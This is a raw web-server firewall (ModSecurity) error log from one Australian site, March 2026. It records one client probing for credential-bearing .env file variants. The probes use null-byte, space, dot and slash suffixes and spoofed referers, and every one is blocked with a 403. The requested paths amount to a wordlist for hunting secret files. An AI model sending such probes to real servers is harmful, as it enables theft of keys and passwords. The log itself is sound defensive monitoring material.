[Sat Mar 14 23:05:57.352345 2026] [:error] [pid 49293:tid 49295] [client 105.154.119.217:55098] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "abV5VTAUTjJFxypCRwKSzgAAAsA"], referer: https://medium.com/
[Sat Mar 14 23:05:58.482762 2026] [:error] [pid 61383:tid 61420] [client 105.154.119.217:55267] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development."] [unique_id "abV5Vi4SAn4TCd4o0dUjrgAAAQQ"], referer: https://www.google.co.uk/
[Sat Mar 14 23:06:00.424286 2026] [:error] [pid 61382:tid 61390] [client 105.154.119.217:55386] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development/"] [unique_id "abV5WP5UUtpNLvwsJ7gOLQAAAAQ"], referer: https://www.youtube.com/results?search_query=
[Sat Mar 14 23:06:01.544379 2026] [:error] [pid 49433:tid 49451] [client 105.154.119.217:55628] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development%00"] [unique_id "abV5WcEQ_2QRXp9zrWZfYQAAA5A"], referer: https://www.quora.com/search?q=best+books+to+read+2026
[Sat Mar 14 23:06:02.737148 2026] [:error] [pid 30154:tid 30178] [client 105.154.119.217:55748] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development%20"] [unique_id "abV5Wl6OP9woRgp3v0Gx6AAAANI"], referer: https://www.ecosia.org/search?q=indoor+plant+care+tips
[Sat Mar 14 23:06:06.456282 2026] [:error] [pid 49293:tid 49307] [client 105.154.119.217:56059] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development%20"] [unique_id "abV5XjAUTjJFxypCRwKTBwAAAsw"], referer: https://www.google.es/
[Sat Mar 14 23:06:08.913585 2026] [:error] [pid 49433:tid 49446] [client 105.154.119.217:56278] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging"] [unique_id "abV5YMEQ_2QRXp9zrWZfZQAAA4s"], referer: https://www.cloudflare.com/
[Sat Mar 14 23:06:12.441780 2026] [:error] [pid 49293:tid 49316] [client 105.154.119.217:56536] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging."] [unique_id "abV5ZDAUTjJFxypCRwKTFQAAAtU"], referer: https://www.youtube.com/watch?v=abcdEFGHijk&feature=share
[Sat Mar 14 23:06:17.778338 2026] [:error] [pid 49351:tid 49362] [client 105.154.119.217:56966] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging/"] [unique_id "abV5aRzAvuOUcwe0iz-DnQAAAwg"], referer: https://www.reddit.com/
[Sat Mar 14 23:06:21.017985 2026] [:error] [pid 49351:tid 49369] [client 105.154.119.217:49221] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging%00"] [unique_id "abV5bRzAvuOUcwe0iz-DoQAAAw8"], referer: https://www.walmart.com/search?q=organic+coffee&cat_id=0
[Sat Mar 14 23:06:24.414036 2026] [:error] [pid 49467:tid 49473] [client 105.154.119.217:50604] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging%20"] [unique_id "abV5cBZmjGJLG92GJiSn5QAAA8Q"], referer: https://duckduckgo.com/?q=
[Sat Mar 14 23:06:27.619409 2026] [:error] [pid 49433:tid 49451] [client 105.154.119.217:50974] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging%20"] [unique_id "abV5c8EQ_2QRXp9zrWZfcQAAA5A"], referer: https://www.google.co.uk/
[Sat Mar 14 23:06:30.792859 2026] [:error] [pid 49351:tid 49356] [client 105.154.119.217:51489] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.test"] [unique_id "abV5dhzAvuOUcwe0iz-DpQAAAwI"], referer: https://developer.mozilla.org/en-US/search?q=javascript+array&locale=en-US
[Sat Mar 14 23:06:34.240452 2026] [:error] [pid 30154:tid 30164] [client 105.154.119.217:51646] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.test."] [unique_id "abV5el6OP9woRgp3v0Gx8wAAAMQ"], referer: https://duckduckgo.com/
[Sat Mar 14 23:06:38.977341 2026] [:error] [pid 49351:tid 49365] [client 105.154.119.217:52004] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.test/"] [unique_id "abV5fhzAvuOUcwe0iz-DrwAAAws"], referer: https://www.reddit.com/r/aww/comments/abc456/cute_puppy/?utm_source=share&utm_medium=web2x
[Sat Mar 14 23:06:40.130035 2026] [:error] [pid 49351:tid 49378] [client 105.154.119.217:52511] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.test%00"] [unique_id "abV5gBzAvuOUcwe0iz-DswAAAxg"], referer: https://github.com/
[Sat Mar 14 23:06:42.166950 2026] [:error] [pid 49293:tid 49297] [client 105.154.119.217:52632] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.test%20"] [unique_id "abV5gjAUTjJFxypCRwKTNQAAAsI"], referer: https://www.bing.com/search?q=how+to+tie+a+tie&qs=n&first=5
[Sat Mar 14 23:06:45.646957 2026] [:error] [pid 49293:tid 49302] [client 105.154.119.217:53014] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.test%20"] [unique_id "abV5hTAUTjJFxypCRwKTOwAAAsc"], referer: https://www.wolframalpha.com/input?i=population+of+japan
[Sat Mar 14 23:06:48.680142 2026] [:error] [pid 61382:tid 61403] [client 105.154.119.217:53220] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "abV5iP5UUtpNLvwsJ7gOXAAAABE"], referer: https://www.google.com/search?q=
[Sat Mar 14 23:06:56.264165 2026] [:error] [pid 49351:tid 49374] [client 105.154.119.217:53836] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup."] [unique_id "abV5kBzAvuOUcwe0iz-DvQAAAxQ"], referer: https://developer.mozilla.org/en-US/search?q=javascript+array&locale=en-US
[Sat Mar 14 23:06:57.406814 2026] [:error] [pid 30154:tid 30175] [client 105.154.119.217:57534] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup/"] [unique_id "abV5kV6OP9woRgp3v0GyFgAAAM8"], referer: https://www.linkedin.com/
[Sat Mar 14 23:07:00.694363 2026] [:error] [pid 49351:tid 49368] [client 105.154.119.217:57666] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup%00"] [unique_id "abV5lBzAvuOUcwe0iz-DvwAAAw4"], referer: https://duckduckgo.com/?q=funny+cat+videos&t=brave
[Sat Mar 14 23:07:03.180511 2026] [:error] [pid 61477:tid 61500] [client 105.154.119.217:51022] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup%20"] [unique_id "abV5l6cx6muYfIYRM7Df5AAAAFM"], referer: https://en.wikipedia.org/w/index.php?title=Python&action=edit
[Sat Mar 14 23:07:09.414415 2026] [:error] [pid 61382:tid 61407] [client 105.154.119.217:51532] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup%20"] [unique_id "abV5nf5UUtpNLvwsJ7gOawAAABU"], referer: https://stackoverflow.com/
[Sat Mar 14 23:07:13.159121 2026] [:error] [pid 49351:tid 49374] [client 105.154.119.217:52068] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "abV5oRzAvuOUcwe0iz-D0gAAAxQ"], referer: https://duckduckgo.com/?q=funny+cat+videos&t=brave
[Sat Mar 14 23:07:24.038106 2026] [:error] [pid 49351:tid 49358] [client 105.154.119.217:53185] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old/"] [unique_id "abV5rBzAvuOUcwe0iz-D6wAAAwQ"], referer: https://github.com/search?q=topic%3Acooking-recipes&type=repositories
[Sat Mar 14 23:07:27.607911 2026] [:error] [pid 49351:tid 49356] [client 105.154.119.217:51878] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old%00"] [unique_id "abV5rxzAvuOUcwe0iz-D9QAAAwI"], referer: https://www.tiktok.com/tag/cooking?lang=en
[Sat Mar 14 23:07:28.918949 2026] [:error] [pid 49433:tid 49451] [client 105.154.119.217:52374] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old%20"] [unique_id "abV5sMEQ_2QRXp9zrWZfhwAAA5A"], referer: https://www.google.com/
[Sat Mar 14 23:07:31.851997 2026] [:error] [pid 49351:tid 49364] [client 105.154.119.217:52786] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old%20"] [unique_id "abV5sxzAvuOUcwe0iz-D9wAAAwo"], referer: https://stackoverflow.com/search?q=%5Bcss%5D+animation&sort=newest
[Sat Mar 14 23:07:33.310707 2026] [:error] [pid 49351:tid 49366] [client 105.154.119.217:52938] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.save"] [unique_id "abV5tRzAvuOUcwe0iz-D-gAAAww"], referer: https://www.perplexity.ai/search?q=renaissance+art+characteristics
[Sat Mar 14 23:07:40.411333 2026] [:error] [pid 30154:tid 30162] [client 105.154.119.217:53521] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.save."] [unique_id "abV5vF6OP9woRgp3v0GyIQAAAMI"], referer: https://duckduckgo.com/?q=best+hiking+trails+near+me&ia=web
[Sat Mar 14 23:07:42.337902 2026] [:error] [pid 49293:tid 49317] [client 105.154.119.217:54069] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.save/"] [unique_id "abV5vjAUTjJFxypCRwKTaQAAAtY"], referer: https://www.google.it/
[Sat Mar 14 23:07:47.662514 2026] [:error] [pid 61382:tid 61409] [client 105.154.119.217:54299] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.save%00"] [unique_id "abV5w_5UUtpNLvwsJ7gOhAAAABc"], referer: https://pypi.org/search/?q=data+visualization
[Sat Mar 14 23:07:54.797344 2026] [:error] [pid 49293:tid 49306] [client 105.154.119.217:64567] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.save%20"] [unique_id "abV5yjAUTjJFxypCRwKTewAAAss"], referer: https://m.facebook.com/
[Sat Mar 14 23:07:56.224082 2026] [:error] [pid 49351:tid 49354] [client 105.154.119.217:59433] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "abV5zBzAvuOUcwe0iz-EIgAAAwA"], referer: https://news.ycombinator.com/item?id=34567890
[Sat Mar 14 23:07:58.842201 2026] [:error] [pid 30154:tid 30177] [client 105.154.119.217:63078] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example."] [unique_id "abV5zl6OP9woRgp3v0GyMQAAANE"], referer: https://www.twitch.tv/directory/game/Just%20Chatting
[Sat Mar 14 23:08:01.994120 2026] [:error] [pid 49293:tid 49308] [client 105.154.119.217:63382] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example/"] [unique_id "abV50TAUTjJFxypCRwKTfwAAAs0"], referer: https://www.cloudflare.com/
[Sat Mar 14 23:08:03.870719 2026] [:error] [pid 49293:tid 49306] [client 105.154.119.217:63729] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example%00"] [unique_id "abV50zAUTjJFxypCRwKTggAAAss"], referer: https://duckduckgo.com/?q=best+hiking+trails+near+me&ia=web
[Sat Mar 14 23:08:08.220041 2026] [:error] [pid 61383:tid 61423] [client 105.154.119.217:64218] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example%20"] [unique_id "abV52C4SAn4TCd4o0dUj0QAAAQc"], referer: https://t.co/
[Sat Mar 14 23:08:09.345479 2026] [:error] [pid 30154:tid 30184] [client 105.154.119.217:64428] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example%20"] [unique_id "abV52V6OP9woRgp3v0GyOwAAANg"], referer: https://www.youtube.com/results?search_query=guitar+tutorial+for+beginners
[Sat Mar 14 23:08:12.388579 2026] [:error] [pid 49293:tid 49317] [client 105.154.119.217:64561] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production.local"] [unique_id "abV53DAUTjJFxypCRwKTiwAAAtY"], referer: https://www.google.co.uk/
[Sat Mar 14 23:08:16.098382 2026] [:error] [pid 49467:tid 49484] [client 105.154.119.217:64918] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production.local."] [unique_id "abV54BZmjGJLG92GJiSoEgAAA88"], referer: https://www.wolframalpha.com/input?i=population+of+japan
[Sat Mar 14 23:08:18.705850 2026] [:error] [pid 49293:tid 49305] [client 105.154.119.217:65347] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production.local/"] [unique_id "abV54jAUTjJFxypCRwKToQAAAso"], referer: https://www.quora.com/search?q=best+books+to+read+2026
[Sat Mar 14 23:08:31.841726 2026] [:error] [pid 49351:tid 49355] [client 105.154.119.217:55292] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production.local%20"] [unique_id "abV57xzAvuOUcwe0iz-EMQAAAwE"], referer: https://stackoverflow.com/search?q=%5Bcss%5D+animation&sort=newest
[Sat Mar 14 23:08:34.914443 2026] [:error] [pid 30154:tid 30184] [client 105.154.119.217:55425] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development.local"] [unique_id "abV58l6OP9woRgp3v0GyTQAAANg"], referer: https://www.quora.com/search?q=best+books+to+read+2026
[Sat Mar 14 23:08:36.024333 2026] [:error] [pid 61382:tid 61410] [client 105.154.119.217:55783] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development.local."] [unique_id "abV59P5UUtpNLvwsJ7gOmAAAABg"], referer: https://www.google.com/search?q=
[Sat Mar 14 23:08:37.160860 2026] [:error] [pid 49467:tid 49487] [client 105.154.119.217:55923] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development.local/"] [unique_id "abV59RZmjGJLG92GJiSoIwAAA9I"], referer: https://www.linkedin.com/
[Sat Mar 14 23:08:38.340067 2026] [:error] [pid 49403:tid 49420] [client 105.154.119.217:56054] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development.local%00"] [unique_id "abV59oY5UNTbJBfyDKcKdQAAA08"], referer: https://news.ycombinator.com/from?site=nytimes.com
[Sat Mar 14 23:08:40.194619 2026] [:error] [pid 49467:tid 49492] [client 105.154.119.217:56195] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development.local%20"] [unique_id "abV5-BZmjGJLG92GJiSoJgAAA9c"], referer: https://www.ecosia.org/
[Sat Mar 14 23:08:41.401859 2026] [:error] [pid 61382:tid 61390] [client 105.154.119.217:56417] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development.local%20"] [unique_id "abV5-f5UUtpNLvwsJ7gOoQAAAAQ"], referer: https://dev.to/search?q=react+hooks+tutorial
[Sat Mar 14 23:08:44.509277 2026] [:error] [pid 49293:tid 49297] [client 105.154.119.217:56567] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dist"] [unique_id "abV5_DAUTjJFxypCRwKTrAAAAsI"], referer: https://m.facebook.com/
[Sat Mar 14 23:08:45.690325 2026] [:error] [pid 49467:tid 49481] [client 105.154.119.217:51329] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dist."] [unique_id "abV5_RZmjGJLG92GJiSoKQAAA8w"], referer: https://www.imdb.com/search/title/?title_type=feature&year=2025,2026
